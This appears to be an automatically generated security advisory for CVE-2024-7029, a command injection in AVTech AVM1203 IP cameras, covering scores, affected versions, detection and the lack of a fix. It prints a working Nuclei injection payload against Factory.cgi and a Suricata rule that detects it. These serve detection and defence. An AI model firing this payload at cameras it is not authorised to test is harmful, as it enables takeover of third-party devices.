CVE-2024-7029: AVTech AVM1203 (IP Camera) advisory

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Commands can be injected over the network and executed without authentication.

Description quoted from the CVE record (assigned by icscert, published 2024-08-02).

Weakness: CWE-77 Improper Neutralization of Special Elements used in a Command (‘Command Injection’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing low privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: no. Technical impact: total.

Public exploit evidence (Exploit Observer)

Exploit Observer found 1 Nuclei template and 11 code repositories naming this CVE.

Nuclei template (ProjectDiscovery)

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 17 references on Exploit Observer

Live scores

EPSS: 0.433
likely to be attacked soon
VEDAS: 0.983
strong exploit evidence
On CISA KEV: Not listed
Detection rule: Nuclei · Suricata

Who is affected

Product	Affected	Not affected
AVTech AVM1203 (IP Camera)	up to and including FullImg-1023-1007-1011-1009	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Avtech - Command Injection
Commands can be injected over the network and executed without authentication.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (POST /cgi-bin/supervisor/Factory.cgi); it decides using status, word matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2024-7029.yaml

Show the template (53 lines)

yaml

id: CVE-2024-7029

info:
  name: "Avtech - Command Injection"
  author: vedas-arpsyndicate
  severity: high
  description: |
    Commands can be injected over the network and executed without authentication.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-7029&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=avtech&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-7029
    cwe-id: CWE-77
  metadata:
    verified: false
  tags: cve,cve2024,avtech,rce,intrusive,vkev,vuln
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cgi-bin/supervisor/Factory.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=white_led&brightness=$(echo%20{{string}}+2>&1)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{string}}"

      - type: word
        negative: true
        part: body
        words:
          - "echo%20{{string}}"
          - "echo {{string}}"

      - type: word
        part: content_type
        words:
          - "text/plain"

      - type: status
        status:
          - 200

CVE-2024-7029.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2024-7029 Avtech - Command Injection. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2024-7029 Avtech - Command Injection"; flow:established,to_server; http.uri; content:"Factory.cgi"; nocase; http.request_body; content:"$("; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2024-7029; reference:url,https://www.exploit.observer/?keyword=CVE-2024-7029&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=avtech&match=exact; sid:1009264; rev:1;)

CVE-2024-7029.rules on GitHub

Advisories on this CVE

“ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)

References

Government sources

https://www.cisa.gov/news-events/ics-advisories/icsa-24-214-07 (government-resource)

Other references

https://www.akamai.com/blog/security-research/2024-corona-mirai-botnet-infects-zero-day-sirt

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.